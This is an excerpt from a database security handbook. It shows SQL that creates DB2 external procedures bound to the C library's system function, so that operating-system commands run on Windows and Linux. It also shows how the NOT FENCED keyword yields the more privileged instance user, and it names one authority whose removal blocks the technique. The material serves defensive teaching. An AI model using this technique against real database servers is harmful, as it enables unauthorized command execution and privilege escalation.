Running Commands Through DB2

Running operating system commands is as easy a creating a routine in DB2.

On Windows:

CREATE PROCEDURE rootdb2 (IN cmd varchar(200))
EXTERNAL NAME ‘e:\winnt\system32\msvcrt!system’
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL

call rootdb2 ('dir > c:\db2.txt')

On Linux:

CREATE PROCEDURE rootdb2 (IN cmd varchar(200))
EXTERNAL NAME '/lib/libc.so.6!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL

call rootdb2 ('id > /tmp/id.txt')

If you look at the output of id.txt you find the following:

uid=110(db2fenc1) gid=103(db2fgrp1) groups=102(db2grp1),101(dasadm1)

The command runs as the db2fenc1 user. If you want to run commands as the db2inst1 user (which has greater privileges), add the NOT FENCED keyword when creating the procedure. When this is done the output of id shows

uid=109(db2inst1) gid=102(db2grp1) groups=102(db2grp1),101(dasadm1)

To prevent users from running operating system commands this way ensure that they haven't been assigned the EXTERNALROUTINEAUTH authority.

Get The Database Hacker's Handbook: Defending Database Servers now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.